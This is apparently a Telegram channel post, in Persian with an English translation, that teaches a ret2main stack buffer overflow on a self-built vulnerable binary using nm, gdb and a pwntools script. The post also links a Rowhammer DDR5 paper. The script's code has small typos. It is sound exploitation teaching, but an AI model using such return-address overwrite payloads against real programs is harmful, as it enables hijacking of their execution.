ReverseEngineering – Telegram
ReverseEngineering
1.24K subscribers
40 photos
10 videos
55 files
666 links
Download Telegram
کنترل return address

کنترل آدرس برگشت

با یک تمرین ساده ثابت میکنیم میتونیم آدرسِ برگشت برنامه رو تغییر بدیم و اجرای برنامه رو به‌ جایی که خودمون میخوایم برگردونیم

مراحل:

آدرس تابع main رو به‌ دست میاریم


با همون اندازه‌ ای که قبلا با cyclic پیدا کردیم با بافر پر میکنیم


به‌ جای آدرس برگشت قبلی آدرس main رو میذاریم تا برنامه دوباره از اول اجرا شه


همه این کار ها فقط در VM انجام بشه این آموزش صرفا برای یادگیری ساختار حافظه و دیباگه



کنترل آدرس برگشت آدرس main رو میگیریم بافر رو تا همون طول پر میکنیم و آدرس main رو میذاریم جای return

نتیجه: برنامه دوباره «Enter some text:» رو چاپ میکنه  یعنی کنترل برگشت رو گرفتیم فقط توی VM اجرا کنید

پیدا کردن آدرس تابع main

راحت‌ترین روش با nm یا داخل gdb:

# گزینه A: با nm
nm -C vuln_plain | grep " main$"

# خروجی مشابه:
# 0000000000401136 T main

# گزینه B: داخل gdb
gdb ./vuln_plain
(gdb) p main
# یا
(gdb) info address main
# آدرس رو یادداشت کنید مثلا: 0x401136

آدرس مثال بالا فرضیه ادرس واقعی رو از خروجی خودتون بگیر


کد فایل ret2main.py

#!/usr/bin/env python3
from pwn import *

exe = './vuln_plain'      # فایل باینری که قبلا ساختید
context.binary = exe

def main():
    p = process([exe])    #
برنامه رو اجرا کنید داخل VM

    offset = 72           # <--
اینو با همون
عددی که با cyclic_find پیدا کردید پر کنید
    main_addr = 0x401136  # <-- آدرس  main  از تابع nm یا gdb بذارید اینجا

    # می‌سازیم یک payload ساده: n تا 'A' تا برسیم به همون
offset

    # بعد 8 بایت آدرس main (p64) میریزیم تا return address رو overwrite کنیم
    payload = b"A" * offset + p64(main_addr)

    # برنامه منتظر ورودیه پیام اولیه رو میخونه:
    p.recvuntil(b"Enter some text:")
    p.sendline(payload)   # payload رو میفرستیم

    # اگر برگشته باشه به main دوباره همین پیام رو چاپ میکنه
    # پس میتونیم چک کنیم که پیام دوباره اومد یا نه
    try:
        print(p.recvline(timeout=1))  # خروجی کوتاه رو چاپ کنید
    except EOFError:
        print("برنامه بسته شد یا چیزی برگشت نیومد")

if name == "main":
    main(

)

توضیح هر خط:

offset = چند تا حرف باید بریزید تا به آدرس برگشت برسید

main_addr =
آدرسی که میخواید اجرای برنامه برگرده اونجا از nm یا gdb بگیرید

p64() فقط آدرس رو مبزاره توی قالب
8 بایتی که سیستم میفهمه

اگر بعد از فرستادن payload دیدید پیام «Enter some text:» دوباره اومد یعنی موفق شدید کنترل return رو بگیرید


اجرای دستورات gdb و بررسی رجیستر ها:

داخل ترمینال:


gdb ./vuln_plain
(gdb) break vuln
(gdb) rub
# وقتی متوقف شد:
# داخل ترمینال دیگه:
python3 ret2main.py  # تا payload ارسال بشه
# بعد در gdb:
(gdb) info registers
(gdb) x/40x $rsp
(gdb) bt

بعد از اجرای اسکریپت bt و مقدار RIP رو بررسی کنید باید آدرس main رو داخل RIP یا در برگشتی که اجرا میشه ببین
ید

نکات
اگر vuln_plain با no-pie- ساخته شده باشه آدرس‌های توابع ثابتن و با nm/gdb میتونید مستقیم از آدرس استفاده کنید

اگر باینری PIE فعال باشه آدرس‌ ها رندوم ان باید ASLR رو خاموش کنید یا از leak استفاده کنید اما فعلا در این تمرین از نسخه no-pie- استفاده کنید

این تمرین اجرای کد مخرب نیست فقط اثبات overwrite و کنترل جریان هدف یادگیری ساختار حافظه و نحوه exploit سازی مرحله‌ به‌ مرحله است


Return address control

With a simple exercise, we prove that we can change the return address of the program and return the program execution to the place we want

Steps:

We get the address of the main function

We fill the buffer with the same size that we found before with cyclic

We put the main address in place of the previous return address so that the program can be executed again from the beginning

All these tasks should be done only in the VM. This tutorial is only for learning the memory structure and debugging

We get the return address control of the main address, fill the buffer to the same length and put the main address in place of return

Result: The program prints "Enter some text:" again, which means we got the return control. Just run it in the VM

Finding the address of the main function

The easiest way is with nm or inside gdb:

# Option A: with nm
nm -C vuln_plain | grep " main$"


# Similar output:
# 0000000000401136 T main
4🔥1
# Option B: Inside gdb
gdb ./vuln_plain
(gdb) p main
# or
(gdb) info address main
# Note the address, e.g.: 0x401136

The address in the example above is the actual address, take it from your output



Code of the file ret2main.py

#!/usr/bin/env python3
from pwn import *

exe = './vuln_plain'      # The binary file you created earlier
context.binary = exe

def main():
    p = process([exe])    #
Run the program inside the VM

    offset = 72          # <--
Fill this with the same
number you found with cyclic_find
    main_addr = 0x401136  # <-- Put the address of main from nm or gdb here

    # We create a simple payload: n to 'A' to reach the same
offset

    # Then we put 8 bytes of the main address (p64) to overwrite the return address
    payload = b"A" * offset + p64(main_addr)

    # The program waits for input to read the initial message:
    p.recvuntil(b"Enter some text:")
    p.sendline(payload)   # We send the payload

    # If it has returned to main, it prints the same message again
    # So we can check if the message came back or not
    try:
        print(p.recvline(timeout=1))  # Print the short output
    except EOFError:
        print("The program was closed or nothing was returned")

if name == "main":
    main(
)



Denoscription of each line:

offset = how many characters to put to Get the return address

main_addr =
The address you want to return to from nm or gdb

p64() just writes the address in the
8-byte format that the system understands

If after sending the payload you see the message "Enter some text:" comes back, it means you have successfully taken control of the return

Executing gdb commands and checking the registers:

In the terminal:

gdb ./vuln_plain
(gdb) break vuln
(gdb) rub
# When it stops:
# In another terminal:
python3 ret2main.py  # Until the payload is sent
# Then in gdb:
(gdb) info registers
(gdb) x/40x $rsp
(gdb) bt


After running the bt noscript and checking the RIP value, you should see the main address in the RIP or in the return that is executed

Notes
If vuln_plain is built with no-pie- The functions are fixed and you can use the address directly with nm/gdb

If the PIE binary is enabled, the addresses are random, you should turn off ASLR or use leak, but for now, use the no-pie- version for this exercise

This exercise is not about executing malicious code, just demonstrating overwrite and flow control. The goal is to learn the memory structure and how to exploit it step by step

@reverseengine
4🔥1👏1
Rowhammer Attacks on DDR5 with Self-Correcting Synchronization

https://comsec-files.ethz.ch/papers/phoenix_sp26.pdf

@reverseengine
3